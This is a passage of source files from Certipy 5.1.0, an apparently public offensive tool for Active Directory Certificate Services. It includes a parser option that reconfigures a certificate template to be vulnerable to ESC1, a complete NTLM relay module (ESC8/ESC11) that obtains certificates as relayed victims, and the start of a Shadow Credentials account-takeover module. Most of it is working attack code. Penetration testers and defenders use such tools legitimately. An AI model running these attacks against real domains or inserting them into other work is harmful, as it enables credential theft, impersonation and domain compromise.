help="Use SIMPLE LDAP authentication instead of NTLM",
)
_ = ldap_group.add_argument(
"-ldap-user-dn",
action="store",
metavar="dn",
help="Distinguished Name of target account for LDAP authentication",
)
Certipy-5.1.0/certipy/commands/parsers/template.py 0000775 0000000 0000000 00000010130 15216574665 0022277 0 ustar 00root root 0000000 0000000 """
Parser for certificate template management commands.
This module defines the command-line interface for the 'template' command,
which allows manipulating certificate templates in Active Directory.
"""
import argparse
from typing import Callable, Tuple
from . import target
# Command name identifier
NAME = "template"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the template command.
This function imports and calls the actual implementation of the template
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import template
template.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the certificate template command subparser to the main parser.
This function creates and configures a subparser for managing certificate templates
in Active Directory, including options for viewing, modifying, and saving
template configurations.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the template subparser with description
subparser = subparsers.add_parser(
NAME,
help="Manage certificate templates",
description=(
"Manipulate certificate templates in Active Directory. "
"This command allows viewing and modifying template configurations for privilege escalation testing or remediation."
),
)
# Required template name argument
subparser.add_argument(
"-template",
action="store",
metavar="template name",
required=True,
help="Name of the certificate template to operate on (case-sensitive)",
)
# Group configuration-related options
config_group = subparser.add_argument_group("configuration options")
config_group.add_argument(
"-write-configuration",
action="store",
metavar="configuration file",
help=(
"Apply configuration from a JSON file to the certificate template. "
"Use this option to restore a previous configuration or apply custom settings. "
"The file should contain the template configuration in valid JSON format."
),
)
config_group.add_argument(
"-write-default-configuration",
nargs="?",
const="S-1-5-11",
default=None,
metavar="target sid",
help=(
"Apply the default Certipy ESC1 configuration to the certificate template. "
"This configures the template to be vulnerable to ESC1 attack. "
"It accepts an optional argument for the target sid that should get ESC1 permissions "
"(default S-1-5-11 for authenticated users). "
"CAREFUL: If you specify a SID of an account not under your control, you lose the ability to restore!"
),
)
config_group.add_argument(
"-save-configuration",
action="store",
metavar="configuration file",
help=(
"Save the current template configuration to a JSON file. "
"This creates a backup before making changes or documents the current settings. "
"If not specified when using -write-configuration or -write-default-configuration, a backup will still be created."
),
)
config_group.add_argument(
"-no-save",
action="store_true",
help=(
"Skip saving the current template configuration before applying changes. "
"Use this option to apply modifications without creating a backup file."
),
)
config_group.add_argument(
"-force",
action="store_true",
help=(
"Don't prompt for confirmation before applying changes. "
"Use this option to apply modifications without user interaction."
),
)
# Add standard target arguments (domain, username, etc.) from shared module
target.add_argument_group(subparser)
return NAME, entry
Certipy-5.1.0/certipy/commands/relay.py 0000775 0000000 0000000 00000104511 15216574665 0020130 0 ustar 00root root 0000000 0000000 """
Certificate Relay Attack Module for Certipy.
This module implements NTLM relay attacks against Active Directory Certificate Services (AD CS):
- ESC8: NTLM relay to AD CS HTTP endpoints (Web Enrollment)
- ESC11: NTLM relay to AD CS RPC endpoints (MS-ICPR)
The attacks allow an attacker to obtain certificates for other users by relaying
their NTLM authentication to an AD CS server, which can then be used for privilege
escalation or persistence.
Key Components:
- Relay: Main class orchestrating the relay attack
- ADCSHTTPRelayServer: Relays HTTP authentication to AD CS Web Enrollment
- ADCSRPCRelayServer: Relays RPC authentication to AD CS Certificate Services
- ADCSHTTPAttackClient: Handles certificate requests via HTTP
- ADCSRPCAttackClient: Handles certificate requests via RPC
"""
import argparse
import base64
import os
import struct
import time
from struct import unpack
from threading import Lock
from typing import Any, List, Literal, Optional, Tuple, Union, cast
import bs4
import httpx
from cryptography.hazmat.primitives.asymmetric import rsa
from impacket.dcerpc.v5 import epm
from impacket.examples import logger as _impacket_logger
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.clients import rpcrelayclient
from impacket.examples.ntlmrelayx.clients.httprelayclient import HTTPRelayClient
from impacket.examples.ntlmrelayx.servers import SMBRelayServer
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
from impacket.ntlm import NTLMAuthChallenge, NTLMAuthChallengeResponse
from impacket.spnego import SPNEGO_NegTokenResp
from certipy.lib.certificate import (
create_csr,
create_csr_attributes,
create_key_archival,
csr_to_der,
csr_to_pem,
der_to_cert,
)
from certipy.lib.constants import OID_TO_STR_NAME_MAP, USER_AGENT
from certipy.lib.errors import handle_error
from certipy.lib.logger import logging
from certipy.lib.ntlm import NtlmNotSupportedError
from certipy.lib.req import (
MSRPC_UUID_ICPR,
Request,
RPCRequestInterface,
handle_request_response,
handle_retrieve,
web_request,
web_retrieve,
)
from certipy.lib.target import DnsResolver, Target
class ADCSHTTPRelayServer(HTTPRelayClient):
"""
HTTP relay client for AD CS Web Enrollment interface.
This class relays NTLM authentication to AD CS Web Enrollment services,
allowing an attacker to request certificates on behalf of the relayed user.
"""
def __init__(self, adcs_relay: "Relay", *args, **kwargs): # type: ignore
"""
Initialize the HTTP relay server.
Args:
adcs_relay: The parent Relay object
args: Arguments to pass to the parent class
kwargs: Keyword arguments to pass to the parent class
"""
super().__init__(*args, **kwargs)
self.adcs_relay = adcs_relay
def initConnection(self) -> Literal[True]: # noqa: N802
"""
Establish a connection to the AD CS Web Enrollment service.
Returns:
True if connection was successful
"""
logging.debug(f"Using target: {self.adcs_relay.target}...")
logging.debug(f"Base URL: {self.adcs_relay.base_url}")
logging.debug(f"Path: {self.target.path}")
logging.debug(f"Using timeout: {self.adcs_relay.timeout}")
self.session = httpx.Client(
base_url=self.adcs_relay.base_url,
verify=False,
timeout=self.adcs_relay.timeout,
headers={
"User-Agent": USER_AGENT,
},
)
self.lastresult = None
# Prepare the target path
if self.target.path == "":
self.path = "/"
else:
self.path = self.target.path
logging.debug(f"Using path: {self.target.path}")
logging.debug(f"Using path: {self.path}")
return True
def sendNegotiate( # noqa: N802 # type: ignore
self, negotiate_message: bytes
) -> Optional[NTLMAuthChallenge]:
# Check if server wants auth
res = self.session.get(self.path)
if res.status_code != 401:
logging.info(
"Status code returned: %d. Authentication does not seem required for URL"
% res.status_code
)
authenticate_header = res.headers.get("WWW-Authenticate", None)
if authenticate_header is None:
logging.error(
"No authentication requested by the server for url %s. Sending NTLM auth anyways"
% self.adcs_relay.target
)
self.authenticationMethod = "NTLM"
else:
authenticate_header = authenticate_header.lower()
if "ntlm" in authenticate_header:
self.authenticationMethod = "NTLM"
elif "negotiate" in authenticate_header:
self.authenticationMethod = "Negotiate"
else:
logging.error(
"Neither NTLM nor Negotiate auth offered by URL, offered protocols: %s"
% authenticate_header
)
return None
# Negotiate auth
negotiate = base64.b64encode(negotiate_message).decode()
headers = {"Authorization": f"{self.authenticationMethod} {negotiate}"}
res = self.session.get(self.path, headers=headers)
if res.status_code != 401:
logging.error("Got unauthorized response from AD CS")
return None
# Check for NTLM challenge in the response
authenticate_header = res.headers.get("WWW-Authenticate", None)
if authenticate_header is None:
logging.error("No authentication challenge returned from server")
return None
# Extract the server challenge from the authentication header
try:
# Find the challenge portion of the header
server_challenge_base64 = next(
s.strip()[len(self.authenticationMethod) :]
for s in (val.lstrip() for val in authenticate_header.split(","))
if s.startswith(self.authenticationMethod)
).strip()
except Exception:
logging.error(
f"Failed to parse authentication header: {authenticate_header!r}"
)
handle_error()
return None
# Decode the challenge
try:
server_challenge = base64.b64decode(server_challenge_base64)
except Exception as e:
logging.error(
f"Failed to decode server challenge: {authenticate_header!r} - {e}"
)
handle_error()
return None
# Check if challenge is wrapped in SPNEGO
if (
server_challenge
and struct.unpack("B", server_challenge[:1])[0]
== SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP
):
resp = SPNEGO_NegTokenResp(server_challenge)
type2 = resp["ResponseToken"]
else:
type2 = server_challenge
if not type2:
# This means that the server is not using NTLM
# and we should not continue with NTLM authentication
logging.warning(
"Server did not return a valid NTLM challenge. The server may have disabled NTLM authentication."
)
raise NtlmNotSupportedError("Server did not return a valid NTLM challenge.")
# Parse Type 2 message
challenge = NTLMAuthChallenge()
try:
challenge.fromString(type2)
return challenge
except Exception as e:
logging.error(
f"Failed to parse server challenge: {authenticate_header!r} - {e}"
)
handle_error()
return None
def sendAuth( # noqa: N802 # type: ignore
self, authenticate_blob: bytes, _server_challenge: Optional[bytes] = None
) -> Tuple[Optional[bytes], int]:
"""
Send authentication data to the target with proper locking to prevent race conditions.
Args:
authenticateMessageBlob: The authentication message
serverChallenge: The server challenge
Returns:
Tuple of (response, status code)
"""
while not self.adcs_relay.attack_lock.acquire():
time.sleep(0.1)
response = None, STATUS_ACCESS_DENIED
try:
response = self._send_auth(authenticate_blob)
except Exception as e:
logging.error(f"Failed to authenticate: {e}")
handle_error()
response = None, STATUS_ACCESS_DENIED
finally:
self.adcs_relay.attack_lock.release()
return response
def _send_auth(self, authenticate_blob: bytes) -> Tuple[Optional[bytes], int]:
"""
Process and send authentication data to the target.
Args:
authenticateMessageBlob: The authentication message
serverChallenge: The server challenge
Returns:
Tuple of (response, status code)
"""
# Extract the NTLM token from SPNEGO if needed
if (
unpack("B", authenticate_blob[:1])[0]
== SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP
):
resp = SPNEGO_NegTokenResp(authenticate_blob)
token = resp["ResponseToken"]
else:
token = authenticate_blob
# Parse NTLM authentication response
response = NTLMAuthChallengeResponse()
response.fromString(data=token)
# Extract domain and username from response
# TODO: Support unicode
domain = response["domain_name"].decode("utf-16le")
username = response["user_name"].decode("utf-16le")
# Store the authenticated user for later use
self.session.user = f"{domain}\\{username}" # type: ignore
# Build authorization header with NTLM token
auth = base64.b64encode(token).decode()
headers = {"Authorization": f"{self.authenticationMethod} {auth}"}
# Make authenticated request to AD CS
res = self.session.get(self.path, headers=headers)
if res.status_code == 401:
logging.error("Got unauthorized response from AD CS")
return None, STATUS_ACCESS_DENIED
else:
logging.debug(
f"HTTP server returned status code {res.status_code}, treating as successful login"
)
# Cache the response
self.lastresult = res.read()
return None, STATUS_SUCCESS
class ADCSRPCRelayServer(rpcrelayclient.RPCRelayClient, rpcrelayclient.ProtocolClient): # type: ignore
"""
RPC relay client for AD CS Certificate Services interface.
This class relays NTLM authentication to AD CS RPC endpoints (MS-ICPR),
allowing an attacker to request certificates on behalf of the relayed user.
"""
def __init__(
self,
config: NTLMRelayxConfig,
target: object,
targetPort: Optional[int] = None, # noqa: N803
extendedSecurity: bool = True, # noqa: N803
):
"""
Initialize the RPC relay server.
Args:
serverConfig: NTLMRelayxConfig object with relay settings
target: Target information
targetPort: Target RPC port (default: uses port mapping)
extendedSecurity: Whether to use extended security
"""
rpcrelayclient.ProtocolClient.__init__(
self, config, target, targetPort, extendedSecurity
)
# Set up RPC endpoint details
self.endpoint = "ICPR"
self.endpoint_uuid = MSRPC_UUID_ICPR
netloc: str = target.netloc # type: ignore
# Find the appropriate RPC binding string
logging.info(
f"Connecting to ncacn_ip_tcp:{netloc}[135] to determine {self.endpoint} stringbinding"
)
self.stringbinding = epm.hept_map(
netloc, self.endpoint_uuid, protocol="ncacn_ip_tcp"
)
logging.debug(f"{self.endpoint} stringbinding is {self.stringbinding}")
def sendAuth( # noqa: N802 # type: ignore
self, authenticate_blob: bytes, server_challenge: Optional[bytes] = None
) -> Tuple[Optional[bytes], int]:
"""
Send authentication data to the target RPC service.
Args:
authenticateMessageBlob: The authentication message
serverChallenge: The server challenge
Returns:
Tuple of (response, status code)
"""
# Extract the NTLM token from SPNEGO if needed
if (
unpack("B", authenticate_blob[:1])[0]
== SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP
):
resp = SPNEGO_NegTokenResp(authenticate_blob)
auth_data = resp["ResponseToken"]
else:
auth_data = authenticate_blob
# Send the authentication data to the target
self.session.sendBindType3(auth_data) # type: ignore
# Test if authentication was successful by sending a dummy request
try:
req = rpcrelayclient.DummyOp()
self.session.request(req) # type: ignore
return None, STATUS_SUCCESS
except rpcrelayclient.DCERPCException as e:
# Expected error codes for successful auth but invalid operation
if "nca_s_op_rng_error" in str(e) or "RPC_E_INVALID_HEADER" in str(e):
return None, STATUS_SUCCESS
elif "rpc_s_access_denied" in str(e):
return None, STATUS_ACCESS_DENIED
else:
logging.info(f"Unexpected RPC error from {self.stringbinding}: {e}")
return None, STATUS_ACCESS_DENIED
except Exception as e:
logging.info(f"Unexpected error from {self.stringbinding}: {e}")
return None, STATUS_ACCESS_DENIED
class ADCSHTTPAttackClient(ProtocolAttack):
"""
Attack client for HTTP-based AD CS certificate requests.
This class handles certificate operations via the Web Enrollment interface.
"""
def __init__(self, adcs_relay: "Relay", *args, **kwargs): # type: ignore
"""
Initialize the HTTP attack client.
Args:
adcs_relay: The parent Relay object
args: Arguments to pass to the parent class
kwargs: Keyword arguments to pass to the parent class
"""
super().__init__(*args, **kwargs)
self.adcs_relay = adcs_relay
def run(self) -> None: # type: ignore
"""
Execute the certificate request attack with proper locking.
"""
while not self.adcs_relay.attack_lock.acquire():
time.sleep(0.1)
try:
self._run()
except Exception as e:
logging.error(f"Failed to run attack: {e}")
handle_error()
finally:
self.adcs_relay.attack_lock.release()
def _run(self) -> None:
"""
Main attack logic - request or retrieve a certificate for the relayed user.
"""
# Check if we've already attacked this target and should skip
if (
not self.adcs_relay.no_skip
and self.client.user in self.adcs_relay.attacked_targets
):
logging.debug(
f"Skipping user {self.client.user!r} since attack was already performed"
)
return
# Handle template enumeration mode
if self.adcs_relay.enum_templates:
self._enumerate_templates()
return
# Handle certificate retrieval or request
request_id = self.adcs_relay.request_id
if request_id:
self._retrieve_certificate(request_id)
else:
self._request_certificate()
def _enumerate_templates(self) -> None:
"""
Enumerate available certificate templates from Web Enrollment.
"""
# Request the certificate request page
res = self.client.get("/certsrv/certrqxt.asp")
content = res.text
# Parse the HTML to extract templates
soup = bs4.BeautifulSoup(content, "html.parser")
select_tag = cast(
Optional[bs4.Tag],
soup.find("select", {"name": "lbCertTemplate", "id": "lbCertTemplateID"}),
)
if select_tag:
option_tags = select_tag.find_all("option")
print(f"Templates Found for {self.client.user!r}:")
for option in option_tags:
if not isinstance(option, bs4.Tag):
continue
value = option["value"]
if not isinstance(value, str):
logging.warning(
f"Got unexpected value type {type(value)} for template {option.text}: {value!r}"
)
continue
split_value = value.split(";")
if len(split_value) > 1:
print(split_value[1])
return self.finish_run()
def _retrieve_certificate(self, request_id: int) -> None:
"""
Retrieve a certificate by request ID.
Args:
request_id: The ID of the certificate request to retrieve
"""
result = web_retrieve(
self.client,
request_id,
)
if result is not None:
handle_retrieve(
result,
request_id,
self.client.user,
self.adcs_relay.out,
self.adcs_relay.pfx_password,
)
return self.finish_run()
def _request_certificate(self) -> None:
"""
Request a new certificate for the relayed user.
"""
# Choose appropriate template based on username
template = self.config.template
if template is None:
template = "Machine" if self.username.endswith("$") else "User"
# Generate certificate signing request
csr, key = create_csr(
self.username,
alt_dns=self.adcs_relay.alt_dns,
alt_upn=self.adcs_relay.alt_upn,
alt_sid=self.adcs_relay.alt_sid,
subject=self.adcs_relay.subject,
key_size=self.adcs_relay.key_size,
application_policies=self.adcs_relay.application_policies,
smime=self.adcs_relay.smime,
)
# Handle key archival if specified
if self.adcs_relay.archive_key:
logging.info(
f"Trying to retrieve CAX certificate from file {self.adcs_relay.archive_key}"
)
with open(self.adcs_relay.archive_key, "rb") as f:
cax_cert = f.read()
cax_cert = der_to_cert(cax_cert)
logging.info("Retrieved CAX certificate")
csr = create_key_archival(csr, key, cax_cert)
csr = base64.b64encode(csr).decode()
csr = f"-----BEGIN PKCS7-----\n{csr}\n-----END PKCS7-----"
else:
csr = csr_to_pem(csr).decode()
# Build certificate attributes
attributes = create_csr_attributes(
template,
alt_dns=self.adcs_relay.alt_dns,
alt_upn=self.adcs_relay.alt_upn,
alt_sid=self.adcs_relay.alt_sid,
)
result = web_request(
self.client,
self.client.user,
csr,
attributes,
template,
key,
self.adcs_relay.out,
)
if result is not None:
handle_request_response(
result,
key,
self.client.user,
self.adcs_relay.subject,
self.adcs_relay.alt_sid,
self.adcs_relay.out,
self.adcs_relay.pfx_password,
)
return self.finish_run()
def finish_run(self) -> None:
"""
Clean up after attack completion.
"""
self.adcs_relay.attacked_targets.append(self.client.user)
if not self.adcs_relay.forever:
self.adcs_relay.shutdown()
class ADCSRPCAttackClient(ProtocolAttack):
"""
Attack client for RPC-based AD CS certificate requests.
This class handles certificate operations via the RPC interface.
"""
def __init__(
self, adcs_relay: "Relay", config: NTLMRelayxConfig, dce: Any, username: str
):
"""
Initialize the RPC attack client.
Args:
adcs_relay: The parent Relay object
config: NTLMRelayxConfig object with relay settings
dce: DCE/RPC connection
username: Username of the relayed user
"""
super().__init__(config, dce, username)
self.adcs_relay = adcs_relay
self.dce = dce
self.rpctransport = dce.get_rpc_transport()
self.stringbinding = self.rpctransport.get_stringbinding()
# Parse domain and username
try:
if "/" in username:
self.domain, self.username = username.split("/")
else:
self.domain, self.username = "Unknown", username
except Exception as e:
logging.error(f"Error parsing username {username}: {e}")
handle_error()
self.domain, self.username = "Unknown", username
def run(self) -> None: # type: ignore
"""
Execute the certificate request attack with proper locking.
"""
while not self.adcs_relay.attack_lock.acquire():
time.sleep(0.1)
# Initialize RPC interface
self.interface = RPCRequestInterface(parent=self.adcs_relay.request)
self.interface._dce = self.dce
try:
self._run()
except Exception as e:
logging.error(f"Failed to run attack: {e}")
handle_error()
finally:
self.adcs_relay.attack_lock.release()
def _run(self) -> None:
"""
Main attack logic - request or retrieve a certificate for the relayed user.
"""
# Check if we've already attacked this target and should skip
full_username = f"{self.username}@{self.domain}"
if (
not self.adcs_relay.no_skip
and full_username in self.adcs_relay.attacked_targets
):
logging.info(
f"Skipping user {full_username!r} since attack was already performed"
)
return
logging.info(f"Attacking user {full_username!r}")
# Handle certificate retrieval or request
request_id = self.adcs_relay.request_id
if request_id:
_ = self.retrieve()
else:
_ = self.request()
self.finish_run()
def retrieve(self) -> bool:
"""
Retrieve a certificate by request ID.
Returns:
True on success, False on failure
"""
if self.adcs_relay.request_id is None:
logging.error("Request ID was not defined")
return False
request_id = int(self.adcs_relay.request_id)
logging.info(f"Retrieving certificate for request id {request_id}")
cert = self.interface.retrieve(request_id)
if cert is None:
logging.error("Failed to retrieve certificate")
return False
return handle_retrieve(
cert,
request_id,
self.username,
out=self.adcs_relay.out,
pfx_password=self.adcs_relay.pfx_password,
)
def request(self) -> Union[bool, Tuple[bytes, str]]:
"""
Request a new certificate for the relayed user.
Returns:
Tuple of (PFX data, filename) on success, False on failure
"""
# Choose appropriate template based on username
template = self.config.template
if template is None:
logging.info("Template was not defined. Defaulting to Machine/User")
template = "Machine" if self.username.endswith("$") else "User"
logging.info(
f"Requesting certificate for user {self.username!r} with template {template!r}"
)
# Generate certificate signing request
csr, key = create_csr(
self.username,
alt_dns=self.adcs_relay.alt_dns,
alt_upn=self.adcs_relay.alt_upn,
alt_sid=self.adcs_relay.alt_sid,
subject=self.adcs_relay.subject,
key_size=self.adcs_relay.key_size,
application_policies=self.adcs_relay.application_policies,
smime=self.adcs_relay.smime,
)
self.interface.parent.key = key
# Handle key archival if specified
if self.adcs_relay.archive_key:
logging.info(
f"Trying to retrieve CAX certificate from file {self.adcs_relay.archive_key}"
)
with open(self.adcs_relay.archive_key, "rb") as f:
cax_cert = f.read()
cax_cert = der_to_cert(cax_cert)
logging.info("Retrieved CAX certificate")
csr_data = create_key_archival(csr, key, cax_cert)
else:
csr_data = csr_to_der(csr)
# Build certificate attributes
attributes = create_csr_attributes(
template,
alt_dns=self.adcs_relay.alt_dns,
alt_upn=self.adcs_relay.alt_upn,
alt_sid=self.adcs_relay.alt_sid,
)
# Submit certificate request
cert = self.interface.request(csr_data, attributes)
if cert is None:
logging.error("Failed to request certificate")
return False
return handle_request_response(
cert,
key,
self.username,
self.adcs_relay.subject,
self.adcs_relay.alt_sid,
self.adcs_relay.out,
self.adcs_relay.pfx_password,
)
def finish_run(self) -> None:
"""
Clean up after attack completion.
"""
self.adcs_relay.attacked_targets.append(f"{self.username}@{self.domain}")
if not self.adcs_relay.forever:
self.adcs_relay.shutdown()
class Relay:
"""
Main class for orchestrating NTLM relay attacks against AD CS.
This class coordinates the relay servers and attack clients to obtain
certificates by relaying NTLM authentication.
"""
def __init__(
self,
target: str,
ca: Optional[str] = None,
template: Optional[str] = None,
upn: Optional[str] = None,
dns: Optional[str] = None,
sid: Optional[str] = None,
subject: Optional[str] = None,
application_policies: Optional[List[str]] = None,
smime: Optional[str] = None,
archive_key: Optional[str] = None,
pfx_password: Optional[str] = None,
retrieve: Optional[int] = None,
key_size: int = 2048,
out: Optional[str] = None,
interface: str = "0.0.0.0",
port: int = 445,
forever: bool = False,
no_skip: bool = False,
timeout: int = 5,
enum_templates: bool = False,
**kwargs, # type: ignore
):
"""
Initialize the NTLM relay attack.
Args:
target: Target AD CS server (http://server/certsrv/ or rpc://server)
ca: Certificate Authority name (required for RPC)
template: Certificate template to request
upn: Alternative UPN (User Principal Name)
dns: Alternative DNS name
sid: Alternative SID (Security Identifier)
subject: Certificate subject name
application_policies: List of application policy OIDs
smime: SMIME capability identifier
archive_key: Path to CAX certificate for key archival
pfx_password: Password for PFX file
retrieve: Request ID to retrieve instead of requesting a new certificate
key_size: RSA key size in bits
out: Output file base name
interface: Network interface to listen on
port: Port to listen on for NTLM relay
forever: Continue listening for new connections after successful attack
no_skip: Don't skip already attacked targets
timeout: Connection timeout in seconds
enum_templates: Enumerate available templates instead of requesting certificate
kwargs: Additional arguments
"""
self.target = target
self.base_url = target # Used only for HTTP(S) targets
self.ca = ca
self.template = template
self.alt_upn = upn
self.alt_dns = dns
self.alt_sid = sid
self.subject = subject
self.archive_key = archive_key
self.pfx_password = pfx_password
self.request_id = int(retrieve) if retrieve else None
self.key_size = key_size
self.out = out
self.forever = forever
self.no_skip = no_skip
self.timeout = timeout
self.interface = interface
self.port = port
self.enum_templates = enum_templates
self.kwargs = kwargs
self.key: Optional[rsa.RSAPrivateKey] = None
# Convert application policy names to OIDs
self.application_policies = [
OID_TO_STR_NAME_MAP.get(policy.lower(), policy)
for policy in (application_policies or [])
]
self.smime = smime
self._request: Optional[Request] = None
self.attacked_targets = []
self.attack_lock = Lock()
# Configure target based on URL or RPC string
if self.target.startswith("rpc://"):
if ca is None:
logging.error("A certificate authority is required for RPC attacks")
exit(1)
logging.info(f"Targeting {target} (ESC11)")
else:
# Format HTTP target URL
if not self.target.startswith("http://") and not self.target.startswith(
"https://"
):
self.target = f"http://{self.target}"
if not self.target.endswith("/certsrv/certfnsh.asp"):
if not self.target.endswith("/"):
self.target += "/"
if self.enum_templates:
self.target += "certsrv/certrqxt.asp"
else:
self.target += "certsrv/certfnsh.asp"
logging.info(f"Targeting {self.target} (ESC8)")
url = httpx.URL(self.target)
if not url.is_absolute_url:
logging.error(
f"Invalid target URL. Expected format: http(s)://server/path, got {self.target}"
)
exit(1)
self.base_url = f"{url.scheme}://{url.host}"
# Configure impacket relay target
target_processor = TargetsProcessor(
singleTarget=self.target,
protocolClients={
"HTTP": self.get_relay_http_server,
"HTTPS": self.get_relay_http_server,
"RPC": self.get_relay_rpc_server,
},
)
# Configure relay
config = NTLMRelayxConfig()
config.setTargets(target_processor)
config.setDisableMulti(True)
config.setIsADCSAttack(True)
config.setADCSOptions(self.template)
config.setAttacks(
{
"HTTP": self.get_attack_http_client,
"HTTPS": self.get_attack_http_client,
"RPC": self.get_attack_rpc_client,
}
)
config.setProtocolClients(
{
"HTTP": self.get_relay_http_server,
"HTTPS": self.get_relay_http_server,
"RPC": self.get_relay_rpc_server,
}
)
config.setListeningPort(port)
config.setInterfaceIp(interface)
config.setSMB2Support(True)
config.setMode("RELAY")
self.server = SMBRelayServer(config)
@property
def request(self) -> Request:
"""
Get the current request object.
Returns:
The current request object
"""
if not self._request is None:
return self._request
self._request = Request(
Target(
DnsResolver.create(),
timeout=self.timeout,
),
ca=self.ca,
template=self.template or "",
upn=self.alt_upn,
dns=self.alt_dns,
sid=self.alt_sid,
key_size=self.key_size,
retrieve=self.request_id,
out=self.out,
)
return self._request
def start(self) -> None:
"""
Start the relay server and wait for connections.
"""
logging.info(f"Listening on {self.interface}:{self.port}")
self.server.start()
try:
# Main loop - wait for connections
while True:
time.sleep(0.1)
except KeyboardInterrupt:
print("")
self.shutdown()
except Exception as e:
logging.error(f"Received error while running relay server: {e}")
handle_error()
def get_relay_http_server(self, *args, **kwargs) -> ADCSHTTPRelayServer: # type: ignore
"""
Factory method to create an HTTP relay server.
Returns:
Configured HTTP relay server
"""
return ADCSHTTPRelayServer(self, *args, **kwargs)
def get_attack_http_client(self, *args, **kwargs) -> ADCSHTTPAttackClient: # type: ignore
"""
Factory method to create an HTTP attack client.
Returns:
Configured HTTP attack client
"""
return ADCSHTTPAttackClient(self, *args, **kwargs)
def get_relay_rpc_server(self, *args, **kwargs) -> ADCSRPCRelayServer: # type: ignore
"""
Factory method to create an RPC relay server.
Returns:
Configured RPC relay server
"""
return ADCSRPCRelayServer(*args, **kwargs)
def get_attack_rpc_client(self, *args, **kwargs) -> ADCSRPCAttackClient: # type: ignore
"""
Factory method to create an RPC attack client.
Returns:
Configured RPC attack client
"""
return ADCSRPCAttackClient(self, *args, **kwargs)
def shutdown(self) -> None:
"""
Gracefully shut down the relay server.
"""
logging.info("Exiting...")
os._exit(0)
def entry(options: argparse.Namespace) -> None:
"""
Command-line entry point for relay functionality.
Args:
options: Command line arguments
"""
# Initialize logging from Impacket
_impacket_logger.init()
relay = Relay(**vars(options))
relay.start()
Certipy-5.1.0/certipy/commands/req.py 0000664 0000000 0000000 00000004017 15216574665 0017600 0 ustar 00root root 0000000 0000000 """
Certificate request module for Certipy.
This module provides functionality for:
- Requesting certificates from Active Directory Certificate Services (AD CS)
- Retrieving pending or issued certificates
- Supporting various request methods (RPC, DCOM, Web Enrollment)
- Handling certificate templates and custom attributes
- Supporting certificate renewal, key archival, and on-behalf-of requests
Key components:
- Request: Main class for certificate operations
- RequestInterface: Abstract base class for different request protocols
- RPCRequestInterface: Certificate requests via MS-ICPR
- DCOMRequestInterface: Certificate requests via DCOM
- WebRequestInterface: Certificate requests via Web Enrollment
"""
import argparse
from certipy.lib.files import try_to_save_file
from certipy.lib.logger import logging
from certipy.lib.req import Request
from certipy.lib.target import Target
# =========================================================================
# Command-line entry point
# =========================================================================
def entry(options: argparse.Namespace) -> None:
"""
Command-line entry point for certificate operations.
Args:
options: Command-line arguments
"""
# Create target from options
target = Target.from_options(options)
options.__delattr__("target")
# Create request object
request = Request(target=target, **vars(options))
# Handle CAX certificate retrieval
if options.cax_cert:
if not options.out:
logging.error("Please specify an output file for the CAX certificate!")
return
cax = request.get_cax()
if isinstance(cax, bytes):
logging.info(f"Saving CAX certificate to {options.out!r}")
output_path = try_to_save_file(cax, options.out)
logging.info(f"Wrote CAX certificate to {output_path!r}")
return
# Handle certificate retrieval or request
if options.retrieve:
_ = request.retrieve()
else:
_ = request.request()
Certipy-5.1.0/certipy/commands/shadow.py 0000775 0000000 0000000 00000066523 15216574665 0020313 0 ustar 00root root 0000000 0000000 """
Shadow Authentication Module for Certipy.
This module provides functionality for manipulating Key Credentials in Active Directory:
- Adding new Key Credentials to user accounts
- Retrieving NT hash using Key Credential authentication
- Listing, removing, and clearing Key Credentials
- Getting detailed information about specific Key Credentials
The Key Credential technique (also known as "Shadow Credentials") allows an attacker
with write access to a user's msDS-KeyCredentialLink attribute to authenticate as
that user by adding a certificate-based credential.
References:
- https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
"""
import argparse
import datetime
import struct
from typing import List, Optional, Tuple, Union
import ldap3
from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes
from impacket.examples.ntlmrelayx.utils import shadow_credentials
from certipy.lib.certificate import create_pfx, x509
from certipy.lib.errors import handle_error
from certipy.lib.files import try_to_save_file
from certipy.lib.ldap import LDAPConnection, LDAPEntry
from certipy.lib.logger import logging
from certipy.lib.target import Target
from .auth import Authenticate
class Shadow:
"""
Shadow Authentication class for manipulating Key Credentials in Active Directory.
This class enables various operations related to Key Credentials including:
- Auto mode: Add Key Credential, authenticate, retrieve NT hash, then restore original state
- Add: Add a new Key Credential to a user account
- List: Show all Key Credentials for a user
- Clear: Remove all Key Credentials from a user
- Remove: Delete a specific Key Credential identified by its Device ID
- Info: Show detailed information about a specific Key Credential
"""
def __init__(
self,
target: Target,
account: str,
device_id: Optional[str] = None,
out: Optional[str] = None,
connection: Optional[LDAPConnection] = None,
**kwargs, # type: ignore
):
"""
Initialize the Shadow Authentication module.
Args:
target: Target information including domain, username, and authentication details
account: Account to target for Key Credential operations
device_id: Device ID for operations that require targeting a specific Key Credential
out: Output file path for saving PFX files
scheme: LDAP connection scheme (ldap or ldaps)
connection: Optional existing LDAP connection
kwargs: Additional arguments
"""
self.target = target
self.account = account
self.device_id = device_id
self.out = out
self.kwargs = kwargs
self._connection = connection
@property
def connection(self) -> LDAPConnection:
"""
Get or establish an LDAP connection to the domain.
Returns:
Active LDAP connection
Raises:
Exception: If connection fails
"""
if self._connection is not None:
return self._connection
self._connection = LDAPConnection(self.target)
self._connection.connect()
return self._connection
def get_key_credentials(
self, target_dn: str, user: LDAPEntry
) -> Optional[List[bytes]]:
"""
Retrieve the current Key Credentials for a user.
Args:
target_dn: Distinguished name of the target user
user: LDAP user entry
Returns:
List of Key Credential binary values or None on failure
"""
results = self.connection.search(
search_base=target_dn,
search_filter="(objectClass=*)",
search_scope=ldap3.BASE,
attributes=["SAMAccountName", "objectSid", "msDS-KeyCredentialLink"],
)
if len(results) == 0:
logging.error(
